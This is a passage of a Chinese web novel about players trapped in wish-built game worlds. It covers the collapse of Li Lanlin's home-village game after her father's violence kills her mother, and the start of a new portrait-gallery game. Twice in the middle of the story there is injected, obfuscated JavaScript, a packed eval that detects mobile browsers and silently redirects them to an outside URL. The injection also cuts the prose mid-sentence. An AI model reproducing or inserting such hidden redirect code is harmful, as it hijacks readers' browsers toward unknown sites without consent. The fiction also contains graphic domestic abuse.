接过人,他看了一眼李岚林,又看向祁晚,“这下咱们要聊的事情可多了。” 祁晚知道他还想说什么,耸了耸肩,道:“我都会说的,又没故意瞒着,这不是一直没时间吗……你先把李雄送回房间——陈姐给我吧。” 雷铭拒绝:“我扛不动李雄,你去。” 祁晚:“……少来,上次你明明扛动了。” 雷铭:“……” 祁晚:“他真的太臭了,你饶了美女的鼻子吧。” 雷铭叹气,把陈清华递到祁晚手里,“算了,我去。” …… 十分钟后,将昏迷的两人安顿好,一群人围着桌子,坐成一圈。 “李雄不会又醒吧?”祁晚有点担心,“你确定把他安顿好了吗?要不然给他绑起来?” “你当我是你?”雷铭翻了个白眼,道:“我给他喂了药,他就算醒了也会继续睡的。” 祁晚:“……”这人靠谱是靠谱,要是能别总翻她白眼就更好了。说认真的,这人眼睛不累吗? “问题很多啊……”柳州与环视这一桌人。除了雷铭和她,个个都有问题,“从谁开始呢?” 李岚林神色恍惚,直到此时才蓦然回了神,“我吧。” 然后就是第一个问题。 “你是玩家吗?”雷铭道:“首先确认一下玩家身份。这位祁晚是后来的,所以你可能觉得我怀疑你没道理。但她刚来的时候播报又响了一遍,玩家从三位变成了四位,所以我可以肯定她是。你跟李雄肯定有一个不是,说别的也没什么意义,我只问这些——这是你的第几场游戏?你之前的游戏是什么?” 李岚林现在的样子真是不一样了——她一开始连头都不敢抬,社恐到一个不可思议的地步。一直躲在柳州与身后,以至于没跟陈清华对上过一次眼神。 而现在,她的状态即使称不上从容大方,却也能正常交流了。 她抬起头,道:“我现在是第二场。我的第一场是冰原求生,系统什么都没给,但要在那个生命禁区,冰原……活过三个月。” “那场人很多。”似乎是想到了什么不好的回忆,李岚林啃起手指,“我数不清,零零散散的,五六十号人总有。高原上没有食物,氧气都不足,连活动都很困难,偏偏还有野兽,有狼……” “很多人被狼咬死,有人乱吃不认识的植物被毒死……没有水喝,就吃雪,有人在吃雪的时候死掉……还有人一觉睡过去就再也没醒,冻死了……” “我不知道过了多久,我快失去意识了。有人饿的失去理智,尸体又都没有腐烂,他们就……” 后面的话不用她说了。 “反正最后……我赢了。虽然只有我。”李岚林停顿了一会,像是忍住了呕吐的欲望,道:“然后我许愿。” “我许的愿很长,不细说了……” “不不不,这个你得说。”雷铭抬手打断她,“事关这场游戏的内容为什么是你母亲,你把你的许愿内容详细说说。” 李岚林眼露困惑,“很重要吗?” “很重要。” “那我想想怎么说……” 另外三人全神贯注地等着听她说。 李岚林想了一会,清了清嗓子,道:“从这开始说吧……李雄不是玩家,他是我爸。” “游戏条件是等我妈闲下来,但那是等不到的,只要她还在这里,她就永远都闲不下来。”李岚林缓缓道:“这两天你们都看见了,我爸喜怒无常,经常喝酒……我妈只要闲着,就会挨打,小的时候我也会。” “所以那个时候我就想,等我长大了,我要赚很多很多钱,在大城市买房子。然后回村,带我妈离开我爸,离开这个家。” “谁知道后来爆发病毒了呢。” “我爸不许我跟我妈联系,我都不知道她那个时候怎么样……再后来,大家应该就都一样了,死掉,然后来这里。” “我的愿望还是生前那些,无非就是再加一个复活。” 说到这里,李岚林的神色变得有些苦涩,“我首付都攒够了,要不是那几天突然病了,我应该都已经把她接过来了。” 可以确认,这个世界就是根据李岚林的愿望建立起来的。所谓的“闲暇”也不是简单地干完活了事,而是必须让李岚林把她妈带走——幸亏最后她想起来了,不然这场可以说是必输。 然后又出现了其他问题。 “你之前为什么不记得?”祁晚问道:“吃饭前还跟我们一块叫陈姐。” “多个愿望不应该是多选一吗?”柳州与看了一眼雷铭,问道:“就像上一场的李芬?芬姐的愿望就是多选一——我没记错吧?” 雷铭点了点头,“没记错。”< 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雷铭:“就是一个。” 雷铭:“她前一天开地图,咱们第二天去清任务。时间基本能对上,各种特征都能对上——而且我问过了。” “问过了?” “最后实现愿望的时候,我专门问了这个问题。” 柳州与震惊,“你真是……不过真巧啊。会不会是故意安排的?” “谁安排的呢?” “管理者?” “可能吧,但为什么?” 说到这里,雷铭有点无奈道:“要不是问了管理者,我还不敢信那天晚上真是你。换身衣服就认不出来了……”而且他当时也确实不敢相信,真的有那么巧。 祁晚补充:“我还换了发型。” 雷铭:“……行吧。” 不管怎么说,他的直觉还挺准,他以后应该更多相信自己的直觉。 柳州与则是想起了那天中午,“这么算,你大概是中午离开的吧。” 祁晚点头。 “秋原也是中午消失的。”柳州与脑海里零零碎碎的线索串联在一起,犹豫道:“秋原她,怎么说呢……好像在找你,而且很早就知道开图人是你了。我感觉她可能,嗯,不太普通。” 祁晚张了张嘴,想起了什么,一时无言以对。 狼羊游戏完成时,秋原说的“下场游戏见”居然是认真的!而且还真的能找到! 只是时间错开了…… 已经出现了如此之多的巧合,雷柳二人看向李岚林——刚才祁晚还提到了一片冰原,而李岚林的第一场游戏恰好是冰原求生。 祁晚想了想,掏出一张照片——从绵头雪兔子那里拿的,顺手就拿了没想到有用——递给李岚林,“你见过这种花吗?见过的话八成就又是同一个地方……” 李岚林惊异地瞪大了眼,“我见过,很可爱的花。还有人吃过!他们说不好吃我就没跟着吃……咦?那还真是同一片啊?” 话音刚落,四人面面相觑。 说好的【随机匹配】呢? 30. 14的家(5) 陈清华不知道究竟陷入了什么状态,没有一丝要醒的迹象。 四人都围在她床边。李岚林凝视着着自己迟迟不醒的母亲,另外三人则都眼巴巴地看着她。 “接下来怎么办?”柳州与问道。 李岚林垂眸沉思。 “既然这是属于我的游戏……” 她将自己母亲干燥粗粝的手握在手里,缓缓摩挲,最终,她抬起头,道:“我要带她走,离开这。” 柳州与:“咦……好!但这样就能完成游戏了吗?” “这里所有的路我都认识,哪里有合适的交通工具我也知道,我能带走她。”李岚林站起来,看向柳州与,道:“胜利条件不是有两条吗?第一条是让她闲下来……我能做到,把她接去我家就行了,我总不能再让她干活。” “然后再把剩下的家务和农务完成……”李岚林越说越自信,“就能成功了!肯定!” “那还等什么,行动起来!”祁晚挺直腰板,心说等待游戏这都第三部分了,她总不能再失败一次,“你要怎么带阿姨走?我好像没见村里有车?” 这么大个人,背着或者抱着带有点不太现实。 “反正村里也没人了。”李岚林道:“我借用一下隔壁家的拖拉机。开到山脚下就行,我的车就放在山。” 说着,李岚林冲出屋去,剩余三人帮忙把昏迷的陈清华背了出来,顺便带了些可铺盖的行李。 十分钟后,李岚林摇着一辆手摇拖拉机开到了院子门口。 她其实是个挺清秀瘦弱的姑娘,看起来干干净净的,开着这么一辆车出来……还挺违和的。 七手八脚地在车斗铺好铺盖,将陈清华放进去。因为要留个人帮李岚林把人搬到车上,祁晚也坐进了车斗,窝到陈清华脚边,抬手比了个OK,“走吧!” “帮完忙抓紧回来!”拖拉机的尾气中,雷铭对着离去的拖拉机大吼,“剩下的活还多得很!我跟小柳两个人干不完!” 拖拉机声音太大,于是祁晚没有回答,只远远比了个OK的手势。 村里的路七拐八拐,颠簸不平,祁晚窝在车尾,按住了胸口。 太颠簸了,而且李小姐开拖拉机的技术也不是很好,她的五脏六腑已经在剧烈抗议了…… 就在她的胃和心脏决定从嘴逃逸时,手摇拖拉机哐当一声,李岚林终于停了车。 “到了?”祁晚二话不说跳出车斗,“这看起来不像山脚啊?” 李岚林一脸阴沉,没回答。 说起来,刚才好像撞到了什么…… 祁晚走到车头,下意识地伸出手——被拦住了。 “空气墙?”她惊呼出声,“这里也有?” 李岚林不知道祁晚这个“也”是哪里来的,也不知道空气墙是什么,但知道自己是被拦住了。 “祁晚……祁姐。”她看向貌似知情的祁晚,“这个……要怎么办?” 祁晚:“……” 她自己经过的游戏其实也谈不上很多,还失败的居多,仅有的经验就是可以用精神力推墙。 等待游戏一二部分都是这样,把未完成的框架直接扔给她,就好像是专门给她准备的。但第三部分不是,第三部分是给李岚林的专属设计,她以往的经验在这里都不适用。 想解除这里的空气墙,要么是要用李岚林本人的精神力,要么是有别的条件。 于是她偏头看向李岚林,“来到这里以后,你有没有被什么东西抽去力气的感觉?或者出没出现过某些地方本来是黑白的或者不正常的,你走过以后才变得正常……这样的事?” 李岚林摇头,“没有。” “唔。”祁晚托住下巴,“那我也不知道了……解除这里的空气墙,应该有别的什么条件。” “会是什么……”李岚林还想再问,身后的一个声音打断了她。 “怎么到这来了?”陈清华直到此刻才醒来,很迷茫地朝四周看,“这是……怎么到这来了?” 她看了一圈,目光终于落在李岚林脸上,“你什么时候回来的?为什么跑到来?” “那都不重要。”李岚林扑到车斗边,“妈,你跟我走,咱们离开这。” 陈清华一脸纳闷,“为什么要走?” 李岚林一时竟被她问住。 停顿了好一会,她才继续说:“因为……留在这里,你会挨爸爸的打。” “他不干活,不挣钱,就会赌,喝酒,就会花钱。家里永远都是你一个人忙,一个人挣钱……”说着,李岚林眼里泛起泪花,“我和弟弟的学费都是你一个人攒的,太辛苦了,妈。你不是总说要我报答你吗?现在我回来了,你跟我去城里,你跟我爸离婚——我买了房子,以后你跟我过,我一点苦都不让你吃,好吗?” 铁人女士这辈子过得属实艰苦。祁晚听着,暗自点头,心说她养这么个女儿也算是熬出来了,以后能跟女儿享受天伦之乐。 然而陈清华没回应,只是缓缓爬出了车斗。 李岚林:“妈?” 陈清华站定,回身朝村里走去,喃喃:“那怎么行……” 李岚林追上去,拉住她的手,“有什么不行?为什么不行啊?妈!” 陈清华轻轻拉开她的手,“不行的,你弟弟很快就回来了……我不在家不行,我还要给他接风呢。” “去我那里也可以啊?”李岚林貌似已经忘了这是游戏了,道:“我联系他,让他放假了去我那,我还能帮他找工作……” 陈清华不语,只是越走越快。 李岚林便加快脚步追上去,“妈!你是不是怕我爸再打你?没事的,我有办法,你跟他离婚……” 陈清华还是不说话。 “你是不是怕离婚麻烦?”李岚林努力地想拽住她,“我也有办法的,我查过很多法律了,我有办法,不会很麻烦……” 听到这里,陈清华终于开口,但声音小到近乎嗫嚅,“他这两年不打我了,有时候对我也挺好的……而且那是你和岚森的亲爸……都快一辈子了,哪有离婚这一说……” 李岚林语塞,“那不离婚,你以后跟我过,这总行?” 陈清华:“之后再说吧,起码等你弟弟回来。” 李岚林:“……行。” 如此,就必须等到最后一天了。 于是她认命地回头,准备去开拖拉机,“妈,你别自己走了,路还挺远的,我开车,咱们坐车回去……”然后她看向一直没离开的祁晚,道歉:”不好意思啊,耽误你这么久。” 然而她一转身,拖拉机竟就在身后。 李岚林:“咦?” 她诧异地看着莫名移动了位置的拖拉机,“怎么会……” 祁晚看着车轮前的拖拽痕迹——她一直在看这个 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三人回到院子里,柳州与跟雷铭坐在一起,雷铭拿着本子和笔——天知道他怎么连这些都有——边写边数,“沤肥,捡蘑菇,十字绣……你仔细想想还有什么?” 柳州与托着腮,伸手拿走了雷铭的笔,“我得想想……但是像你这么记肯定不行,还有超级多没有名字的家务,根本没办法记下来的。” 雷铭把笔抢回来,“那怎么记?” 柳州与:“不知道啊……” 两人面面相觑,听见拖拉机的声音齐齐抬头。 祁晚跳下车,冷笑,“不是说活多得很吗?你们俩倒是动啊?” 她身后,陈清华步履僵硬地下了车,跟李岚林说话,“你快去把车还给人家——待会给人家送点咱家的酸菜。” 李岚林:“拿两颗够了吧。” 陈清华:“你自己估摸。” 陈清华:“明天咱们早起,去捡点蘑菇,等你弟弟回来给他炖鸡吃。今天我把大锅收拾了,咱们开始沤肥。” 李岚林:“……好。” 随后母女俩分头行动,被嘲讽了的雷铭和柳州与看向祁晚。 雷铭:“陈姐怎么回来了?” 柳州与:“李岚林怎么也回来了。” 而且还突然就变得这么默契熟络?虽然本来就是母女,但也是刚刚相认……这合理吗? 祁晚想了想,开始解释她们路上遇到的事。准备去干活的陈清华从他们面前走过,步履匆匆,完全无视了他们,就像没看见那里有人。 “就这个情况。”祁晚从陈清华身上收回目光,耸了耸肩,“她好像看不见玩家了,待会咱们看看她能不能看见李雄。” “咋说呢,这个游戏可能终于进入新的阶段了。” 柳雷二人都有点懵圈,点了点头。 他们聊着,李岚林还完拖拉机,跑了回来,气喘吁吁的,“我妈这边恐怕得等到岚森……就是我弟弟回来,咱们得先把活干完。” 祁晚听着,掏了掏耳朵,有一丝不确定,“那个,你弟弟叫什么?” 李岚林:“李岚森,山岚的岚,三木森。” 祁晚:“……” 你该不会还有个姐姐叫李岚木吧? 31. 14的家(6) “没名字的家务先不记,咱们至少把有名字的那些都干完吧?”雷铭再次翻开了本子,看向李岚林,“在你弟弟回来之前。” “行。”李岚林点点头。 又是一下午的忙碌。 下一个问题出现在晚饭时间。 不知道陈清华身上究竟出现了什么问题,她看不见玩家了。 看不见,好像也忘了还有玩家这么回事。 ——所以她只做了三个人的饭。 准备食材期间,李岚林因为知道还有其他三个人的存在,试图多拿一些免得不够吃,但被陈清华训斥“拿那么多干什么?”并强制放了回去。 莫名失去存在感的三人也一直试图为自己的晚饭做点什么。 但被他们偷偷移动了的东西也都被陈清华拿了回去,边收拾还边纳闷,“东西怎么放得到处都是……” 不仅陈清华,掐点醒来的李雄好像也看不见他们。 于是当陈清华将晚饭端上餐桌时,无法被看见并且没东西可吃的三人只能默默地看着。 “事实上来讲,咱们都是死人,死人其实不需要进食的。”祁晚道:“不吃东西也没什么的。” 柳州与和雷铭幽幽看向她。 “真的啊。”祁晚继续道:“不管怎么想,死人还要吃饭都很不合理吧?” 道理是这个道理……只是大家都是第一次死,难免不习惯。 而且…… “现在他们都看不见我们。”雷铭看着饭桌上并不其乐融融的一家三口,“任务要怎么办?” 柳州与走到陈清华身边,戳了戳她,“陈姐?” 她的手指直接穿过了陈清华的身体。 “噫——”柳州与吓得蹦起来,“咱们该不会变成鬼魂了吧?” “其实本来就是……” 祁晚也没见过这情况,对雷铭提出的问题束手无策。 饭桌上,陈清华低着头,说了这顿饭的第一句话。 “李雄啊……”她的声音低低的,听不出语气,“丫头说在城里买了房,要接咱们过去住……到时候岚森也去……” 李岚林本就食难下咽,听见这话更吃不下去,“我没说你们全……” 某人根本不给她说完话的机会。 “她买房?”李雄冷笑,“咱们都去?” 陈清华埋着头,很轻地点头,“嗯。” 李雄这炮仗又炸了,“还去闺女家住?我老李家是没儿子吗?人家在背后要把我脊梁骨戳断!” 随后他看向完全没了食欲的李岚林,“还有你,没良心的东西。赚了钱也不知道给家里拿钱——你回来干什么?来跟你爹得瑟你卖了多少钱?我当没你这个闺女。” 李岚林停在原地,抿紧了唇,“你什么意思?我不是……” “你不是什么?”李雄难得没有打人的迹象,只是说话越来越扎心,“我还不知道你?你有什么能耐?还买房?你的钱怎么来的你自己清楚!” 李岚林气得眼睛都红了。 “但我是你亲爹,你赚什么脏钱自家人也懒得说你。”李雄不知为何又“宽宏大量”起来,道:“什么破事我都当没看见,行吧。但我就一点,你弟弟后天就回来了。他这次是硕士毕业回来,你知道的。” “他26了,你也知道。” “奔三的人了,我跟你妈拼死也能给他凑辆车。他房子没有,连个媳妇也没有,他怎么办?你替他想过没有?” 李岚林:“我……” 她气得哽咽,说话都有点卡壳,“我知道你要钱,不就是给岚森凑首付吗?可你们一定要在省会给他买房……我哪有那么多钱?我自己不要地方住吗?” “嘁。”李雄不看她,道:“我早跟你说早点嫁人,彩礼拿了什么都有了!你老公家能没你地方住吗?” “我一个人,一开始在外边生活都困难。”李岚林声音颤抖起来,“你们帮过我一点没有?没有!凭什么要我帮他?” 李雄摔碗,“你跟谁这么说话呢?” “我是你爹?” “没有我哪来的你?” “我当年就该给你射地上!” “养你这么大白养你吗?一点不懂得孝顺父母!白眼狼的玩意!” 李岚林气得说不出话来,她站在原地无法动弹,气的肩膀都在抖。 “什么屁话……”三人听着,柳州与眉头紧锁,道:“我去劝劝李岚林,你们俩要不再把李雄撂倒一次吧……他好烦……” 然而当她走到李岚林身边,准备劝慰李岚林时—— 她的手从李岚林的身体穿了过去。 另一边,想直接给李雄一脚的祁晚也踹空了,力道太大直接把她自己甩了出去,“咦?啊——” 雷铭灵巧转身多开,无视自己身侧摔了个狗啃泥的祁晚,“为什么连李岚林都碰不到了?” “鬼知道啊……” 一家三口的对话还在继续,李岚林气得眼圈发红,不再看李雄,而是直接看着陈清华,“算了,本来我也不想管他……妈,我就问你一句,你跟不跟我走?” 陈清华低着头,开始收拾碗筷,不说话。 “你说句话呀!”她的沉默彻底激怒了李岚林,“你就听着他这么骂我?” “你收拾什么?老子没吃饱呢?”李雄一拳打掉了陈清华手里的碗,“该干活不干,不该干瞎勤快。把饭菜热热再拿上来,快点。看看你生出来的好闺女,哔哔半天饭都凉了。” 陈清华端起碗离开,祁晚看见她的眼里噙着泪水。 李岚林一把扯住她,“不许去!” “你自己没长手吗?”李岚林拽着自己的母亲,对着父亲大喊,“热个饭不会自己去?你支使她一辈子了!有完没完?巨婴吗你?” 李雄:“你跟谁这么说话呢?” 李岚林:“就跟你,怎么了?” 下一秒,饭桌翻了。 李雄一脚踹翻了桌子,踩着破碎的碗碟抬手就打。 李岚林一步不退,“有种你就打死我!” 然而这一拳最终没有落在她的头上,挡在她面前,抓住了那只巨大的拳头,“你别打孩子!” 李雄:“那我就打你!” 接下来的场面非常混乱。 李雄失去理智,开始无差别攻击,他身强体壮,又没顾虑,胡乱打起人来根本拦不住。李岚林这瘦弱的女孩根本不禁打,一脚就被踹得倒地不起。 抓住妻子的头发甩到墙上,李雄把她扔到一边,再次朝倒地不起的李岚林走去。 “要死人了啊!!”柳州与急的团团转,“这要怎么办啊?” 从李雄开始打人,祁晚和雷铭就没闲着,两人进到各个屋子里,然而…… “厨具也碰不到了?刚才还能碰到啊?”祁晚将厨房里的东西摸了个遍,“我拿颗萝卜……拿不起来!鸡蛋也行……啊啊啊不行啊?” 另一边,雷铭从客厅里冲出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177601|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“客厅里的所有东西都碰不到。” “牛棚呢?羊圈呢?”眼看另一边无法反抗的李岚林已经被打出了满脸血,祁晚急得冷汗都下来了,“剁草的刀能拿吗?实在不行抓点羊粪——李岚林要死了!” 柳州与从牛棚里走出来,不是从门,而是直接从墙里穿出来,她一脸绝望,“碰不到,都碰不到。” 另一边,李雄最后照着李岚林的肚子狠狠踢了一脚,对着已经失去意识的她吐了口痰,“给你留条命,长长记性。” 随后他提着陈清华的头发打了一巴掌,“别装晕,热饭去。老子刚才根本没用力。” 谁也不知道这成天烟酒麻将的醉鬼怎么会有这么大的力气,陈清华被撞了头,额角鲜血直流,目光涣散。 “起来!”李雄又踢了一脚,“装什么呢?我知道你起得来。” 陈清华还是没醒。 “起来!”李雄有点慌了,提起陈清华的衣领,用力拍她的脸,“睁眼!别装死!” 陈清华的眼睛被血糊住,在此刻终于微微睁开了一点,她的头微微转向李岚林的方向,嗓子里发出细弱的声音,“丫丫……” “她没事,她能有什么事。”见陈清华醒来,李雄松手把她扔到地上,“跟你一样欠打,打不死的东西。” “气也气饱了,吃个屁。”李雄去水缸里洗了洗染血的拳头,打开抽屉拿了点零钱,朝院外走去。 能看不能拦,只能眼睁睁地看着两个人在自己面前被打成这样,祁晚已经气炸了。虽然知道自己现在已经碰不到游戏里的东西,她还是冲到院门口给了李雄一脚,“我踹死你个老登——啊——” 李雄已经走到了院子外,而她那一脚也没有踹空,而是在院门口被拦住了。 “疼疼疼疼疼疼疼疼疼……”祁晚抱着脚蹲到地上,“脚要断了……” 雷铭快步赶过来,果然也在门口碰到了阻碍,“这是什么?咱们出不去院子了?” 祁晚含泪,“是空气墙——可能不是标准叫法,不过一般游戏里就是这么叫的,咱也这么叫好了。” 另一边,柳州与的发出惊喜的叫声,“李岚林和陈姐都可以碰到了!你们快来!” 于是祁晚一瘸一拐地站起来,“这个空气墙我有印象,待会再说,先去看看那俩人吧……那老闭登打人真是狠啊……” 柳州与很急切地将李岚林被踢的地方都摸了一遍,微微松了口气,“骨头应该没断……岚林,李岚林?还能听见我说话吗?” 李岚林动了动手指,将自己的手搭在柳州与手上,示意自己能听见。 柳州与:“那我扶你起来,会有点痛……你忍忍……” 然后她呼叫另外俩人,“祁晚,雷哥,你俩谁来帮我扶一下……” 雷铭走了过去,“祁晚她瘸了,那傻子踹空气墙上了……我来。” 随后两人扛起柳州与走向房间,祁晚一瘸一拐地走向陈清华。 李岚林看起来很惨烈,但多半都是外伤,除了留疤没有什么别的隐患。于是柳州与留下给她消毒包扎,雷铭迅速避开,走向屋外。 祁晚蹲在陈清华身边一动不动。 他走向祁晚,“什么情况?你怎么不动。” 祁晚一手放在陈清华鼻端,另一手掐着她的脉搏。听见雷铭的声音,她放开掐着陈清华脉搏的手,转而摸向她的颈动脉。 半晌,她才认命似的彻底放下手。 “陈姐她……死了。” 32. 14的家(终) 顺着她脸上的血,雷铭扒开她枯槁的头发,在已近干涸的血液的源头,看见了一个黑漆漆的小洞。 祁晚单腿站起,凑近看某块沾血的墙面,“这里有个钉子,不知道是用来挂什么的……刚才陈姐的头砸在这个钉子上了……” 这就难怪了,毕竟一般来说头撞一下墙是不会死人的。 柳州与替李岚林消好毒,又努力地安慰她把她哄睡着,出了屋子就见到了陷入死寂的祁雷两人。 “怎么了?”她有种不响的预感。 祁晚说不出话来,死死盯着墙上的钉子,雷铭捂着嘴,转开目光,声音沙哑,“陈姐死了。” 柳州与惊诧得无以复加,“你们说什么……呢?” 然后她低头,看见了陈清华额角的小洞。 看起来就很深。 人死后尸体的变化很快,陈清华已经尸僵了,一张脸青灰暗淡,肢体呈现出一个很扭曲的姿势。 虽然是NPC……虽然,只是NPC,而已…… 她努力地想忍,然而还是忍不住,直直冲到另一面墙边,弯下腰,“呕……” 祁晚单腿蹦过去给她拍背。 然而她蹦完了才想起来自己其实不会受伤,于是下一秒她的脚就不疼了。 “为什么……会有这种事?”柳州与说话困难,声音里带着哭腔,“李岚林还不知道这件事……她要是知道她妈妈死了,她该多难过……呕……” 祁晚不知道该怎么回答。 她只是回过味来以后,觉得有些不对劲。 根据她之前在小镇的经验,NPC其实都是真人,想必这里的也是真的李岚林的母亲和父亲。只是,会出现在这里,就说明大家都已经死了。 她不知道陈清华生前是怎么死的,有可能是被丧尸咬死,也有可能是自己变成了丧尸——但无论如何,她都已经死了。 已经死去的人,是会再死一次的吗? 按理来说不会。 既然不会,那在这里死掉的是谁? 一个真正的NPC? 如果是真正的NPC……这场“死亡”就应该是为了给她们什么提示或者线索。 那么……线索是什么? 柳州与吐完了,在祁晚的搀扶下站直身子,发现祁晚的神色不太对劲。 接过雷铭不知道从哪里弄来的水漱口,她望着祁晚堪称严肃的神色,问道:“祁晚……你想什么呢?” 祁晚:“有点不对劲。” “哪里不对……啊!” 三人同时惊呼了一声。 世界突然以陈清华为中心疯狂旋转起来,太阳坠落下西地平线,不到一秒就从东地平线弹起,飞快地划过天空——再下坠,再弹起。 一天时间飞快地过去了,他们直接来到了最后一天。 午后,院门被推开,一个长相与陈清华极为相似的少男走了进来,身边跟着笑容灿烂的陈清华,李雄从屋里走出来迎接,很用力地抱了一下男孩,拍他的背,“好儿子!来,进屋!跟爹碰一杯!” 墙边,陈清华的尸体消失,但血迹却没有,她现在笑意盈盈地蹲在那里杀鸡,地上喷溅了不少鸡血。她把死鸡挂在墙面的钉子上,走进厨房开始烧水。 屋里,李雄大笑着,“叫你去省城看房子,你去看了没有?” 李岚森:“看了,不过咱家没那么多钱吧……你跟我妈你俩别太勉强,我也不着急……” “我儿子就是太懂事。”李雄笑得满脸褶子,只能说更难看了,“没事,找好地界了就行,钱不是问题。” 李岚森:“谢谢爸!” 李雄:“跟你爹谢什么?你早点领个媳妇回来,给爹抱孙子,爹就高兴了!” 俩人又碰了一杯,李岚森还是没忍住问:“爸,你突然哪来的钱?” “你姐那拿的。”李雄道。 李岚森:“我姐?她最近终于回家了吗?” “当然回了,除非她不认我这个爹了。”李雄道::还闹着要我跟你妈离婚,给我钱都行……笑话。” 李岚森:“你答应了?”要不然他姐怎么会掏钱? “那怎么可能?”李雄嗤道:“我骗她的。她信了呗。” 李岚森:“那……我妈?” 李雄:“你妈当然是听我的。你就放心,你姐发现不了。” 屋里,两人还在对话,但声音越来越远,越来越模糊。烧好开水从厨房里走出来的陈清华也愈发模糊,直至完全不见。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15177602|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 房间里的人、院子里的人、牛、羊、鸡……全部化为飞灰。 满天飞散的烟尘中,跪着遍体鳞伤的李岚林。 “我忘了。”她抬起自己少了一片指甲的手,那手指还在滴血。 “我已经失败了一次了……” “胜利条件也设错了……就算叫了人来帮我也不行……” “这是最后一次机会吗?” 她抬起头,望着空白的天空,“我……我还能再有一次机会吗?” 回应她的只有冰冷的播报声。 【我是本场游戏管理者。代号:岳】 【玩家祁晚,等待游戏第三部分失败,等待游戏失败】 【玩家柳州与,等待游戏失败】 【玩家雷铭,等待游戏失败】 【请进入下一场游戏】 “为什么?”祁晚不可置信地疑问,“为什么每次都莫名其妙的?明明还什么都没做……” “有种根本没打算让我们赢的感觉。”雷铭转头看向祁晚,“是因为遇到你了吧?你之前的游戏不就是莫名其妙的吗?还全都失败。” 祁晚啧了一声,“我认为这个不能怪我……” 柳州与整个人都放空了,“我到现在一共就玩了三场,两场都失败……我要什么时候才能赢够次数啊……” 管理者的声音就此消失,整片空间也缓缓地暗下来,遍体鳞伤的李岚林缓缓起身,来到她们面前。 “对不起。”她深深鞠了一躬。 祁晚:“这是干什么?快起来。” 李岚林看着她们,眼里流出血泪,“我知道管理者的实验是什么意思了……但是对不起,我不该把你们牵扯进来……” “说什么呢?”柳州与道:“你先别哭啊?” “我根本没有构建好一个世界的能力。”李岚林哭得更厉害了,她的血泪落在地上,延伸出去,变成看不见尽头的血线,“该怎么让来到这里的玩家赢,我根本就不知道,我是一个失败的构建者……无故耽误了你们,我真的……对不起……” “跟着这些线走吧,至少我知道你们的下一场游戏在哪里。” 播报声响起。 【请跟随引导线进入下一场游戏】 33. 肖像(1) 最后一声播报后,三人就看不见彼此了。祁晚只得独自顺着血线,再次一个人走下去。 这次迈过光圈,一条看不到尽头的走廊出现在她眼前。 走廊铺着带花纹的大理石砖,大部分还是白色。墙壁白得晃眼,青翠藤蔓盘桓虬结,布满了大半屋顶,顺着藤蔓缝隙,能看到屋顶精致的花纹,没有灯。 走廊左侧是窗户,右侧是画,窗与画一一对应,每扇窗户都正对着画。 奇怪的地方在于,这些画都是黑色的。 窗外完全纯白,淡淡辉光照入走廊。于是整条走廊明亮如昼,然而画是漆黑的,黑到仿佛在吞噬光线。于是墙上就像挂着一排黑洞,很奇怪。 更奇怪的是,不远处的藤蔓上,蹲着一只猴子。 猴子? 小猴子毛色金黄、毛绒绒胖乎乎的、毛质顺滑发亮、小脸精致、眼珠乌黑清澈、脸上没有一般猴子都会有的皱纹——总而言之,是个很貌美的猴子。 但再貌美也是猴子——拜托,这里为什么会有猴子? 播报声响起。 【诸位,我是本场游戏管理者。代号:岳】 【玩家全数到齐,游戏即将开始。】 随后,这些漆黑的画齐齐发声,继续播报。 【游戏主题:遗忘】 【全场共3名玩家,获得追寻者身份】 【胜利条件:1.找到其余游戏玩家。2.亡灵返世,是为找寻他所失去的。】 “诸位?三名玩家?”祁晚皱起眉头。 哪有三个? “这不就我一个?怎么还得自己找队友的……” “还有这个语焉不明的胜利条件,直接说明白是会怎样啊?想想都烦……” 虽然李岚林那一场已经证明了经验这个东西不太可靠,然而完全不靠经验她就没思路了。于是她还是根据自己曾经游戏的经验,决定先把视野之内的东西都碰一碰,能直接往前走更好。 果然,她的脚被什么东西拦住了。 好,空气墙。 很熟悉,对味了。 窗前明净,没有窗框,看不到那里还有玻璃。直到凑到跟前,看见玻璃上呼吸的白雾,祁晚才知道这里原来是有玻璃的。 窗外一片纯白。 “又是这些白雾……”祁晚的手指抵在玻璃上,望着外边,“不,不应该叫雾。” 但是也不知道该叫什么好。 反正碰窗户没用。 于是她去碰自己右手边的画框。 “砰——” 身后蓦然变成黑色,窗外的“白雾”如同被虹吸一般卷进画里。漆黑的画逐渐浮现色彩,最终变成了一幅人像。 是一个女人的画像。 女人眉梢微微下垂,眼角却上挑,一幅很多情的眉眼。脸上看不见什么笑纹,平时应该不是什么爱笑的人,然而画里的她却带着淡而温和的微笑,望着画外。 或者准确点说……祁晚默默退开了正对着画的位置。 ——她是在望着作画的人。 她含情脉脉地望着为她作画的人,不由得带起了微笑;而落笔者将自己的所有心血倾注在这幅画里,每一笔亦满含爱意。 这幅画是如此饱满,充满希望与爱。就好像画里的人随时能走出来,好像画中蕴含的爱意可以永恒。 右下角有一串小小的落款。 【敬祝兰迪.门罗35岁生日快乐 爱你的格斯塔.门罗 —1976.6.3】 点亮第一幅,祁晚走向下一幅画。 既然她点游戏点可以一次点很多个,那这些画应该也可以……? 如此想着,她将手按在画上。 “砰砰砰砰碰碰————” 